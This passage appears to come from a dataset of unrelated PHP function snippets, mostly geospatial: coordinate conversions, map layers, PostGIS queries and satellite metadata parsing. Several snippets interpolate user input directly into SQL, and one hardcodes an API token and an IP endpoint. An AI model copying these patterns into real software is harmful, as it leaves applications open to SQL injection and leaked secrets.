- $eastUTM ) / ($N1 * $k0);\n \n // Coeficients per calcular la latitud\n $F1 = $N1 * tan($fp) / $R1;\n $F2 = $D*$D / 2;\n $F3 = ( 5 + 3 * $T1 + 10 * $C*$C - 9 * $e2 ) * pow($D, 4) / 24;\n $F4 = ( 61 + 90 * $T1 + 298 * $C + 45 * $T1*$T1 - 252 * $e2 - 3 * $C*$C ) * pow($D, 6) / 720;\n \n // Coeficients per calcular la longitud\n $J1 = $D;\n $J2 = ( 1 + 2 * $T1 + $C ) * pow($D, 3) / 6;\n $J3 = ( 5 - 2 * $C + 28 * $T1 - 3 * $C*$C + 8 * $e2 + 24 * $T1*$T1 ) * pow($D, 5) / 120;\n \n // Calculs finals\n $deltaLong = ( $J1 - $J2 + $J3 ) / cos($fp);\n $latitud = 180 * ( $fp - $F1 * ( $F2 + $F3 + $F4 ) ) / M_PI;\n $longitud = $zoneCM - ( $deltaLong * 180 / M_PI );\n\n return array( $longitud, $latitud );\n}", "function salva()\n\t{\n\t\trestauraConObj($this->mapa,$this->postgis_mapa);\n\t\t$this->mapa->save($this->arquivo);\n\t}", "function crear_carpeta($ruta,$nombre_carpeta)\r\n\t{\r\n\t}", "function guifi_Lonlat2UTM ( $lon, $lat, $datum, $zone, $nord=TRUE ) {\n // Tranformar a radians\n $lat = $lat * M_PI / 180;\n \n // Constants del datum\n $dat = guifi_get_datum($datum);\n $a = $dat[1];\n $b = $dat[2];\n $f = ( $a - $b ) / $a;\n $_f = 1 / $f;\n $rm = pow( $a * $b, 0.5 );\n \n $k0 = 0.9996;\n $e = sqrt( 1 - pow($b/$a, 2) );\n $e2 = $e * $e / ( 1 - $e * $e );\n $n = ( $a - $b ) / ( $a + $b );\n $rho = $a * ( 1 - $e*$e ) / pow( 1 - pow( $e * sin( $lat ), 2 ), 1.5 );\n $nu = $a / pow( 1 - pow ( $e * sin( $lat ), 2 ), 0.5 );\n \n // Calcul Longitud Arc Meridional\n $A0 = $a * ( 1 - $n + ( 5*$n*$n / 4 ) * ( 1 - $n ) + ( 81 * pow($n, 4) / 64 ) * ( 1 - $n ) );\n $B0 = ( 3 * $a * $n / 2 ) * ( 1 - $n - ( 7*$n*$n/8 ) * ( 1 - $n ) + 55 * pow($n, 4) / 64 );\n $C0 = ( 15 * $a * $n * $n / 16 ) * ( 1 - $n + ( 3 * $n * $n / 4 ) * ( 1 - $n ) );\n $D0 = ( 35 * $a * pow($n, 3) / 48 ) * ( 1 - $n + 11*$n*$n/16 );\n $E0 = ( 315 * $a * pow($n, 4) / 51 ) * ( 1 - $n );\n $S = $A0*$lat - $B0*sin( 2*$lat ) + $C0*sin( 4*$lat ) - $D0*sin( 6*$lat ) + $E0*sin( 8*$lat );\n \n // Càlcul de constants\n// if ( $lon < 0 ) $zone = floor( ( 180 + $lon ) / 6 ) + 1;\n// else $zone = floor( $lon / 6 ) + 31;\n $zoneCM = 6 * $zone - 183;\n $deltaLong = $lon - $zoneCM;\n $pSec = $deltaLong * 3600 / 10000;\n $sin1 = M_PI / ( 180 * 3600 );\n \n // Coeficients per Coordenades UTM\n $Ki = $S * $k0;\n $Kii = $nu * sin($lat) * cos($lat) * pow($sin1, 2) * $k0 * 100000000 / 2;\n $Kiii = ( ( pow($sin1, 4) * $nu * sin($lat) * pow(cos($lat), 3) ) / 24 ) * \n ( 5 - pow(tan($lat), 2) + 9 * $e2 * pow(cos($lat), 2) + 4 * $e2*$e2 * pow(cos($lat), 4) ) * $k0 * 1e16;\n $Kiv = $nu * cos($lat) * $sin1 * $k0 * 10000;\n $Kv = pow( $sin1 * cos($lat) , 3) * ( $nu / 6 ) * \n ( 1 - pow(tan($lat), 2) + $e2 * pow(cos($lat), 2) ) * $k0 * 1000000000000;\n $A6 = ( pow($pSec*$sin1, 6) * $nu * sin($lat) * pow(cos($lat),5) / 720 ) * \n ( 61 - 58 * pow(tan($lat),2) + pow(tan($lat),4) + 270 * $e2 * pow(cos(lat),2) - 330 * $e2 * pow(sin($lat),2) ) * $k0 * 1e24;\n \n $nordUTM = $Ki + $Kii * $pSec * $pSec + $Kiii * pow($pSec,4);\n $eastUTM = 500000 + ( $Kiv * $pSec + $Kv * pow($pSec, 3) );\n \n return array( $eastUTM, $nordUTM );\n}", "function crearPlantilla($datos);", "function getInfoFromGPSCoord($long,$lat)\n{\n\t$L93_10km=10000;\n\n\tlist($longL93,$latL93)=convertWGS84ToLambert93($lat,$long);\n\n\techo \"Execution de la 1e requete...\\n\";\n\t//recuperer resultat requete SQL\n\t$rpg=$GLOBALS['external_data']['urlRPG2017']['tablename'];\n\t$cultures=$GLOBALS['CSVtables'];\n\t$sql= \"SELECT DISTINCT code_cultu, label, label_groupe\n\t\t\tFROM $rpg\n\t\t\tINNER JOIN $cultures ON rpg2017.code_cultu=cultures.code\n\t\t\tWHERE ST_DISTANCE(ST_GeomFromText('POINT($longL93 $latL93)',2154),SHAPE)<=$L93_10km\n\t\t\tORDER BY ST_DISTANCE(ST_GeomFromText('POINT($longL93 $latL93)',2154),SHAPE) ASC\";\n\techo $sql . \"\\n\";\n\t$parcels = array();\n\tif($query=$GLOBALS['db']->query($sql))\n\t{\n\t\twhile($row=$query->fetch_assoc())\n\t\t\t$parcels[$row['code_cultu']]=$row;\n\t}\n\n\t$info['parcels']=$parcels;\n\n\techo \"Execution de la 2e requete...\\n\";\n\t//Pour que le resultat sur le terminal soit plus lisible, demandez plutot stu.soil\n\t$stu=$GLOBALS['external_data']['urlSTU']['tablename'];\n\t$stuorg=$GLOBALS['external_data']['urlSTUORG']['tablename'];\n\t$soilsTable=$GLOBALS['external_data']['urlSoilsShpFile']['tablename'];\n\t$sql=\"SELECT stu.soil, stu.stu, soil.smu, stuorg.pcarea,soil_description.soil \n\t\t\tFROM $stu\n\t\t\tINNER JOIN $stuorg ON stu.stu = stuorg.stu\n\t\t\tINNER JOIN $soilsTable ON soil.smu = stuorg.smu \n\t\t\tINNER JOIN soil_description on soil_description.soil85=stu.soil\n\t\t\tWHERE ST_DISTANCE(ST_GeomFromText('POINT($longL93 $latL93)',2154),SHAPE)<=$L93_10km\";\n\t\t\t// OR soil_description.soil90=stu.soil90\n\techo $sql . \"\\n\";\n\t$soils=array();\n\tif($query=$GLOBALS['db']->query($sql))\n\t{\n\t\twhile($row=$query->fetch_assoc())\n\t\t\t$soils[$row['soil']]=$row;\n\t}\n\n\t$info['soils']=$soils;\n\n\techo \"Resultat...\\n\";\n\tvar_dump($info);\n\n\treturn $info;\n}", "public function geolocalizacion(Request $request, Response $response, $args)\n {\n \n try {\n \n $ruc=\"20131380951\";\n $token=\"8c076ab2d795c792c8dd3749ebe29df1\";\n $fecha=\"20190227\";\n $path1 = $ruc.$token.$fecha;\n $clave=md5($path1);\n \n $url=\"http://190.102.145.252:8001/api/\";\n \n //$url=\"https://digital.miraflores.gob.pe:8443/miraflores/getDocTramiteByWeb.muni\";\n /*recibo los parametros del login*/ \n $dato = array(\n \"token\" => $clave,\n \"format\" => \"json\"\n );\n \n\n $datosM= Acl::curlGET($url,$dato);\n \n //var_dump($datosM);\n //exit;\n \n\n\n\n // $popup = ContenidoControlador::getContenidoPopups();\n // var_dump($popup);\n // exit;\n \n $nroRes=Constante::NOTIC_NRO_RESULTADOS_DEFAULT;\n // $datin[\"contenidos\"] = ContenidoControlador::getListadoNoticiasPortada($nroRes);\n $datin[\"contenidos\"] = GestContenido::getListadoNoticiasPortada($nroRes);\n $datin[\"popups\"] = ContenidoControlador::getContenidoPopups();\n $datin[\"novedades\"] = ContenidoControlador::getNovedadesMiraflores();\n $datin[\"pathmunlima\"]=Constante::PATHMUNLIMA;\n \n $mensaje =\"se elimino correctamente el usuario y la persona\";\n $estado = true;\n \n \n } catch (\\ErrorException $e) {\n $mensaje=\"Algo no salio muy bien\";\n $estado=false;\n }\n \n $datin[\"mensaje\"]= $mensaje;\n $datin[\"success\"] = $estado;\n // $datin[\"parametros\"] = ['title'=>\"Bienvenido :: Overseas Perú\", 'titulo' => \"BIENVENIDO A LOS SERVICIOS DE ATENCIÓN VIRTUAL\" ];\n //$obj1 = JsonRenderer::render($response,200,$datin);\n //var_dump($datin);\n //exit;\n $this->view->render($response, \"weblima/plantilla-map.twig\", $datin);\n return $response;\n \n }", "public function adicionar($nome, $address, $lat, $lng, $type, $descricao, $ocorrido, $entrada){\r\n \r\n $dados['name']=$nome;\r\n $dados['address']=$address;\r\n $dados['lat']=$lat;\r\n $dados['lng']=$lng;\r\n $dados['type']=$type;\r\n $dados['id_usuario']= $auxid=$this->session->userdata('userlogado')->id;\r\n $dados['descricao']=$descricao;\r\n $dados['data_ocorrencia']=$ocorrido;\r\n $dados['data_entrada']=$entrada;\r\n $dados['status']='Ativo';\r\n\r\n //insert(nome da tabela, array)\r\n return $this->db->insert('markers', $dados);\r\n }", "public function insertarDireccionDeTaskoj($idCiudad,$nombre_direccion,$latitud,$longitud,$postal_codigo_direccion){\r\n $datos = array(\r\n 'ciudad_id_ciudad' => $idCiudad,\r\n 'nombre_direccion1' => $nombre_direccion,\r\n 'longitud_direccion' => $longitud,\r\n 'latitud_direccion' => $latitud,\r\n 'postal_codigo_direccion' => $postal_codigo_direccion\r\n );\r\n $this->db->insert('direccion', $datos);\r\n \r\n $salida = $this->db->insert_id();\r\n \r\n \r\n return $salida; \r\n }", "function __construct($map_file,$tema=\"\",$locaplic=\"\")\n\t{\n\t\tinclude(dirname(__FILE__).\"/../ms_configura.php\");\n \t\t$this->postgis_mapa = $postgis_mapa;\n\n\t\tif(file_exists($locaplic.\"/funcoes_gerais.php\"))\n\t\tinclude_once($locaplic.\"/funcoes_gerais.php\");\n\t\telse\n\t\tinclude_once(\"funcoes_gerais.php\");\n\n\t\t$this->v = versao();\n\t\t$this->vi = $this->v[\"inteiro\"];\n\t\t$this->v = $this->v[\"principal\"];\n\n\t\t$this->mapa = ms_newMapObj($map_file);\n\t\tsubstituiConObj($this->mapa,$postgis_mapa);\n\n\t\t$this->arquivo = str_replace(\".map\",\"\",$map_file).\".map\";\n\t\tif($tema != \"\" && @$this->mapa->getlayerbyname($tema))\n\t\t$this->layer = $this->mapa->getlayerbyname($tema);\n\t\t$this->nome = $tema;\n\t}", "function map(string $docuri) {\n $map = [\n 'title'=> 'carte '.$this->title,\n 'view'=> ['latlon'=> [47, 3], 'zoom'=> 6],\n ];\n $map['bases'] = [\n 'cartes'=> [\n 'title'=> \"Cartes IGN\",\n 'type'=> 'TileLayer',\n 'url'=> 'https://igngp.geoapi.fr/tile.php/cartes/{z}/{x}/{y}.jpg',\n 'options'=> [ 'minZoom'=> 0, 'maxZoom'=> 18, 'attribution'=> 'ign' ],\n ],\n 'orthos'=> [\n 'title'=> \"Ortho-images\",\n 'type'=> 'TileLayer',\n 'url'=> 'https://igngp.geoapi.fr/tile.php/orthos/{z}/{x}/{y}.jpg',\n 'options'=> [ 'minZoom'=> 0, 'maxZoom'=> 18, 'attribution'=> 'ign' ],\n ],\n 'whiteimg'=> [\n 'title'=> \"Fond blanc\",\n 'type'=> 'TileLayer',\n 'url'=> 'https://visu.gexplor.fr/utilityserver.php/whiteimg/{z}/{x}/{y}.jpg',\n 'options'=> [ 'minZoom'=> 0, 'maxZoom'=> 21 ],\n ],\n ];\n $map['defaultLayers'] = ['whiteimg'];\n \n $request_scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME']\n : ((isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS']=='on')) ? 'https' : 'http');\n foreach ($this->layers as $lyrid => $layer) {\n $overlay = [\n 'title'=> $layer['title'],\n 'type'=> 'UGeoJSONLayer',\n 'endpoint'=> \"$request_scheme://$_SERVER[SERVER_NAME]$_SERVER[SCRIPT_NAME]/$docuri/$lyrid\",\n ];\n foreach (['pointToLayer','style','minZoom','maxZoom'] as $key)\n if (isset($layer[$key]))\n $overlay[$key] = $layer[$key];\n elseif ($this->$key !== null)\n $overlay[$key] = $this->$key;\n\n $map['overlays'][$lyrid] = $overlay;\n if (isset($layer['displayedByDefault']))\n $map['defaultLayers'][] = $lyrid;\n }\n \n return new Map($map, \"$docuri/map\");\n }", "function generarAtencion()\r\n{ \r\n\tglobal $use;\r\n\tglobal $priv;\r\n\r\n\t\t//DISTINGUE ENTRE ATENCION A DOMICILIO O ATENCION EN CONSULTORIO\r\n\t\tif(isset($_POST['atencion_domicilio'])){\r\n\t\t\t$dom=$_POST['dom'];\r\n\t\t\t$nrocasa=$_POST['nrocasa'];\r\n\t\t\t$barrio=$_POST['barrio'];\r\n\t\t\t$localidad=$_POST['localidad'];\r\n\t\t\t$cod_postal=$_POST['codpostal'];\r\n\t\t\t$dpto=$_POST['dpto'];\r\n\t\t}\r\n\t\telse{\r\n\t\t\t$dom='EN CONSULTORIO';\r\n\t\t\t$nrocasa='';\r\n\t\t\t$barrio='';\r\n\t\t\t$localidad='';\r\n\t\t\t$cod_postal='';\r\n\t\t\t$dpto='';\r\n\t\t}\r\n\r\n\tif(isset($_POST['doctit']) && isset($_POST['nro'])){\r\n\t\t\r\n\t\t$cod_ser=$_POST['cod_serv'];\r\n\t\t$doctitu=$_POST['doctit'];\r\n\t\t$numdoc=$_POST['doc'];\r\n\t\t$nombre=$_POST['nombre'];\r\n\t\t$fec_pedido=$_POST['fecha'];\r\n\t\t$hora_pedido=$_POST['hora'];\r\n\t\t$dessit=$_POST['desc'];\r\n\t\t$profesional=$_POST['prof'];\r\n\t\t$sexo=$_POST['sexo'];\r\n\t\t$tel=$_POST['tel'];\r\n\t\t$id_persona= $_POST['id_persona'];\r\n\t\t$nro=$_POST['nro'];\t\t//nro es el numero de asociado\r\n\r\n\t\t$profesional_explode = explode('|',$profesional); //$profesional_explode[0] es nombre y $profesional_explode[1] es id_profesional\r\n\t\t\r\n\t\t$resultado=$GLOBALS['db']->query(\"INSERT INTO fme_asistencia (cod_ser,doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional,domicilio,casa_nro,barrio,localidad,codpostal,dpmto,id_persona, id_profesional)\r\n\t\t\t\tVALUES ('$cod_ser','$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional_explode[0]','$dom','$nrocasa','$barrio','$localidad','$cod_postal','$dpto','$id_persona','$profesional_explode[1]')\");\r\n\t\t\r\n\t\t$res2=$GLOBALS['db']->select(\"SELECT idnum FROM fme_asistencia WHERE idnum=LAST_INSERT_ID()\");//obtentemos el id_atencion del ultimo insert realizado\r\n\t\t\r\n\t\t$id_atencion=$res2[0]['idnum']; \r\n\r\n\t\tif(!$resultado)\r\n\t\t{\r\n\t\t\t$error=[\r\n\t\t\t\t\t'menu'\t\t\t=>\"Atenciones\",\r\n\t\t\t\t\t'funcion'\t\t=>\"generarAtencion\",\r\n\t\t\t\t\t'descripcion'\t=>\"No se pudo realizar la consulta: INSERT INTO fme_asistencia (doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional)\r\n\t\t\t\tVALUES ('$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional')\"\r\n\t\t\t\t\t];\r\n\t\t\techo $GLOBALS['twig']->render('/Atenciones/error.html', compact('error','use','priv'));\t\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\r\n\t\theader('Location: ./nueva_atencion_finalizar.php?id_atencion='.$id_atencion);\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t\r\n\t//SI NO SE SETEA DOCTIT, ES PORQUE ES UN PARTICULAR ENTONCES:\r\n\telse{\r\n\t\t\t\t\r\n\t\t$cod_ser=$_POST['cod_serv'];\r\n\t\t$doctitu='';\r\n\t\t$numdoc=$_POST['doc'];\r\n\t\t$nombre=$_POST['nombre'];\r\n\t\t$fec_pedido=$_POST['fecha'];\r\n\t\t$hora_pedido=$_POST['hora'];\r\n\t\t$dessit=$_POST['desc'];\r\n\t\t$profesional=$_POST['prof'];\r\n\t\t$sexo=$_POST['sexo'];\r\n\t\t$tel=$_POST['tel'];\r\n\t\t$id_persona= $_POST['id_persona'];\r\n\t\t$nro='';\t\t//nro es el numero de asociado\r\n\r\n\t\t$profesional_explode = explode('|',$profesional); //$profesional_explode[0] es nombre y $profesional_explode[1] es id_profesional\r\n\t\t\r\n\t\t$resultado=$GLOBALS['db']->query(\"INSERT INTO fme_asistencia (cod_ser,doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional,domicilio,casa_nro,barrio,localidad,codpostal,dpmto,id_persona, id_profesional)\r\n\t\t\t\tVALUES ('$cod_ser','$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional_explode[0]','$dom','$nrocasa','$barrio','$localidad','$cod_postal','$dpto','$id_persona','$profesional_explode[1]')\");\r\n\t\t\r\n\t\t$res2=$GLOBALS['db']->select(\"SELECT idnum FROM fme_asistencia WHERE idnum=LAST_INSERT_ID()\");//obtentemos el id_atencion del ultimo insert realizado\r\n\t\t\t\t\r\n\t\t$id_atencion=$res2[0]['idnum']; \r\n\r\n\t\tif(!$resultado)\r\n\t\t{\r\n\t\t\t$error=[\r\n\t\t\t\t\t'menu'\t\t\t=>\"Atenciones\",\r\n\t\t\t\t\t'funcion'\t\t=>\"generarAtencion\",\r\n\t\t\t\t\t'descripcion'\t=>\"No se pudo realizar la consulta: INSERT INTO fme_asistencia (doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional)\r\n\t\t\t\tVALUES ('$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional')\"\r\n\t\t\t\t\t];\r\n\t\t\techo $GLOBALS['twig']->render('/Atenciones/error.html', compact('error','use','priv'));\t\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t$persona=[\r\n\t\t\t'cod_serv'\t=>\t$cod_ser,\r\n\t\t\t'fecha'\t\t=>\t$fec_pedido,\r\n\t\t\t'hora'\t\t=>\t$hora_pedido,\r\n\t\t\t'nro'\t\t=>\t$nro,\r\n\t\t\t'nombre'\t=>\t$nombre,\r\n\t\t\t'sexo'\t\t=>\t$sexo,\r\n\t\t\t'tel'\t\t=>\t$tel,\r\n\t\t\t'doc'\t\t=>\t$numdoc,\r\n\t\t\t'doctit'\t=>\t$doctitu,\r\n\t\t\t'dom'\t\t=>\t$dom,\r\n\t\t\t'nro_casa'\t\t=>\t$nrocasa,\r\n\t\t\t'barrio'\t\t=>\t$barrio,\r\n\t\t\t'localidad'\t\t=>\t$localidad,\r\n\t\t\t'cod_postal'\t=>\t$cod_postal,\r\n\t\t\t'dpmto'\t\t\t=>\t$dpto,\r\n\t\t\t'prof'\t\t=>\t$profesional,\r\n\t\t\t'desc'\t\t=>\t$dessit\r\n\t\t];\r\n\t\t\r\n\t\theader('Location: ./nueva_atencion_finalizar.php?id_atencion='.$id_atencion);\r\n\t\treturn;\r\n\t}\r\n\r\n\t\r\n}", "public function create(array $data)\n {\n $geoloc = $data['geoloc'];\n $geoloc = str_replace([\"(\", \")\"], \"\", $geoloc);\n $geoloc = explode(\",\", $geoloc);\n $geoloc[0] = (Double)($geoloc[0]);\n $geoloc[1] = (Double)($geoloc[1]);\n\n $ville = Ville::firstOrCreate([\n 'nom' => $data['ville'],\n 'wilaya' => $data['wilaya'],\n 'longitude' => $geoloc[0],\n 'latitude' => $geoloc[1],\n ]);\n $user = User::create([\n 'email' => $data['email'],\n 'password' => bcrypt($data['password']),\n 'nom' => ucfirst($data['nom']),\n 'prenom' => ucfirst($data['prenom']),\n 'genre' => $data['genre'],\n 'date_nais' => $data['date_nais'],\n 'num_tel' => $data['num_tel'],\n 'ville_id' => $ville->getAttribute('id'),\n 'pref_musique' => $data['pref_musique'],\n 'pref_animeaux' => $data['pref_animeaux'],\n 'pref_discussion' => $data['pref_discussion'],\n 'pref_fumeur' => $data['pref_fumeur'],\n 'description' => $data['description'],\n ]);\n if (Input::file('photo')) {\n $destination = '../storage/app'; // path\n $fileName = $user->getAttribute('id') . '.jpg'; // renameing image\n Input::file('photo')->move($destination, $fileName);\n // redimensionner\n $largeur = 64;\n $hauteur = 64;\n $image = imagecreatefromjpeg($destination.'/'.$fileName);\n $taille = getimagesize($destination.'/'.$fileName);\n\n $sortie = imagecreatetruecolor($largeur,$hauteur);\n $coef = min($taille[0]/$largeur,$taille[1]/$hauteur);\n\n $deltax = $taille[0]-($coef * $largeur);\n $deltay = $taille[1]-($coef * $hauteur);\n\n imagecopyresampled($sortie,$image,0,0,$deltax/2,$deltay/2,$largeur,$hauteur,$taille[0]-$deltax,$taille[1]-$deltay);\n imagejpeg($sortie,$destination.'/mini_'.$fileName);\n }\n return $user;\n }", "function ogr2ogr_gmlas() {\n\t\t# For Logging add: . ' >> /var/www/logs/ogr_' . $gml_id . '.log 2>> /var/www/logs/ogr_' . $gml_id . '.err'\n\t\t# escape for passwords with shell \n\t\t#$cmd = $this->docker_gdal_cmd . ' ' . OGR_BINPATH_GDAL . 'ogr2ogr -f \"PostgreSQL\" PG:\"' . $this->pgdatabase->get_connection_string_p() . ' SCHEMAS=' . $this->gmlas_schema .'\" GMLAS:' . $this->gml_location . ' -oo REMOVE_UNUSED_LAYERS=YES -oo XSD=' . $this->xsd_location;\n\t\t#echo $cmd;\n\t\t#exec($cmd, $output, $error_code);\n\t\t#echo '<pre>'; print_r($output); echo '</pre>';\n\t\t#echo 'Error-Code:' . $error_code;\n\t\t\n\t\t$gdal_container_connect = 'gdalcmdserver:8080/t/?tool=ogr2ogr&param=';\n\t\t$param_1 = urlencode('-f \"PostgreSQL\" PG:');\n\t\t$connection_string = urlencode('\"' . $this->pgdatabase->get_connection_string() . ' SCHEMAS=' . $this->gmlas_schema . '\" ');\n\t\t$param_2 = urlencode('GMLAS:' . \"'\" . $this->gml_location . \"'\" . ' -oo REMOVE_UNUSED_LAYERS=YES -oo XSD=' . $this->xsd_location); \n#\t\t$param_2 = urlencode('GMLAS:' . \"'\" . $this->gml_location . \"'\" . ' -oo REMOVE_UNUSED_LAYERS=YES');\n\n\t\t$url = $gdal_container_connect . $param_1 . $connection_string . $param_2;\t\n\n\t\t$ch = curl_init();\n\t\t#$url = curl_escape($ch, $url);\n\t\tcurl_setopt($ch, CURLOPT_URL, $url);\n\t\tcurl_setopt($ch,CURLOPT_CONNECTTIMEOUT,300);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\t$output = curl_exec($ch);\n\t\tcurl_close($ch);\n\n\t\t$success = strpos($output, 'ERROR') === false;\n\t\t$result = json_decode($output);\n\t\treturn array(\n\t\t\t'success' => $success,\n\t\t\t'msg' => ($success ? $result->stdout : $result->err . $result->stderr),\n\t\t\t'url' => str_replace($this->pgdatabase->get_credentials($this->pgdatabase->connection_id)['password'], 'secret', $url)\n\t\t);\n\t}", "function readRS2($filePath) {\n\n libxml_use_internal_errors(true);\n\n $doc = new DOMDocument();\n $doc->loadXML(file_get_contents($filePath));\n \n $errors = libxml_get_errors();\n\n // See comment at the beginning of this script\n $parentIdentifier = \"urn:ogc:def:EOP:CSA:RSAT2\";\n\n /*\n * Footprint as WKT POLYGON\n * \n * Radarsat 2 coordinates are not ordered so we\n * must use the line/pixel info to reorder geographical\n * coordinates...\n */\n $quads = array();\n $firstLine = 999999999;\n $lastLine = -999999999;\n $firstPixel = 999999999;\n $lastPixel = -999999999;\n $imageTiePoints = $doc->getElementsByTagname('geographicInformation')->item(0)->getElementsByTagname('geolocationGrid')->item(0)->getElementsByTagname('imageTiePoint');\n foreach($imageTiePoints as $imageTiePoint) {\n $imageCoordinates = $imageTiePoint->getElementsByTagname('imageCoordinate');\n foreach($imageCoordinates as $imageCoordinate) {\n $line = floatval(trim($imageCoordinate->getElementsByTagName('line')->item(0)->nodeValue));\n $pixel = floatval(trim($imageCoordinate->getElementsByTagName('pixel')->item(0)->nodeValue));\n }\n $geodeticCoordinates = $imageTiePoint->getElementsByTagname('geodeticCoordinate');\n foreach($geodeticCoordinates as $geodeticCoordinate) {\n $lon = floatval(trim($geodeticCoordinate->getElementsByTagName('longitude')->item(0)->nodeValue));\n $lat = floatval(trim($geodeticCoordinate->getElementsByTagName('latitude')->item(0)->nodeValue));\n }\n\n // Find the image extrema\n $firstLine = min($firstLine, $line);\n $firstPixel = min($firstPixel, $pixel);\n $lastLine = max($lastLine, $line);\n $lastPixel = max($lastPixel, $pixel);\n \n array_push($quads, array(\n 'line' => $line,\n 'pixel' => $pixel,\n 'lon' => (float)$lon,\n 'lat' => (float)$lat\n ));\n }\n\n // Simple computation UL,UR,LL,LR coordinates\n\n foreach($quads as $quad) {\n if ($quad[\"line\"] === $firstLine && $quad[\"pixel\"] === $firstPixel) {\n $UL = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n if ($quad[\"line\"] === $firstLine && $quad[\"pixel\"] === $lastPixel) {\n $UR = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n if ($quad[\"line\"] === $lastLine && $quad[\"pixel\"] === $firstPixel) {\n $LL = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n if ($quad[\"line\"] === $lastLine && $quad[\"pixel\"] === $lastPixel) {\n $LR = $quad[\"lon\"] . ' ' . $quad[\"lat\"];\n }\n }\n\n $footprint = 'POLYGON((' . $UL . ',' . $UR . ',' . $LR . ',' . $LL . ',' . $UL . '))';\n\n // Other infos\n $sourceAttributes = $doc->getElementsByTagname('sourceAttributes')->item(0);\n $date = correctDate($sourceAttributes->getElementsByTagname('rawDataStartTime')->item(0)->nodeValue);\n\n return array(\n 'identifier' => $parentIdentifier . ':' . $doc->getElementsByTagname('productId')->item(0)->nodeValue,\n 'parentidentifier' => $parentIdentifier,\n 'startdate' => $date,\n 'enddate' => $date,\n 'platform' => $sourceAttributes->getElementsByTagname('satellite')->item(0)->nodeValue,\n 'instrument' => $sourceAttributes->getElementsByTagname('sensor')->item(0)->nodeValue,\n 'footprint' => $footprint\n );\n\n}", "function Insert(GeolocalisationEntity $geo) {\r\n\r\n $req = \"INSERT INTO geolocalisation ( lon , lat ) VALUES ( '\" . $geo->getLon() . \"','\" . $geo->getLat() .\"')\";\r\n $id = mysql_query($req) or die(\"********** Erreur d'ajoute **********<br>\");\r\n echo \"********** Ajout avec succés **********<br>\";\r\n return mysql_insert_id();\r\n }", "static public function ctrCrearTransportadora(){\n\n\t\tif(isset($_POST[\"nuevaTransportadora\"])){\n\n\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ\\. ]+$/', $_POST[\"nuevaTransportadora\"])){\n\n\t\t\t /*=============================================\n\t\t\t\tVALIDAR IMAGEN DEL LOGO\n\t\t\t\t=============================================*/\n\n\t\t\t\t$ruta = \"\";\n\n\t\t\t\tif(isset($_FILES[\"nuevoLogo\"][\"tmp_name\"])){\n\n\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t$nuevoAncho = 500;\n\t\t\t\t\t$nuevoAlto = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR EL LOGO DE LA TRANSPORTADORA\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$nuevaTransportadoraDir = str_replace(array('ñ','Ñ','á','é','í','ó','ú','Á','É','Í','Ó','Ú','.',' '),array('n','N','a','e','i','o','u','A','E','I','O','U','_','_'),trim($_POST[\"nuevaTransportadora\"]));\n\n\t\t\t\t\t$directorio = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir;\n\n\t\t\t\t\tmkdir($directorio, 0755);\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".jpg\";\n\n\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".png\";\n\n\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t/* =====================================\n\t\t\t\t\tVALIDAR 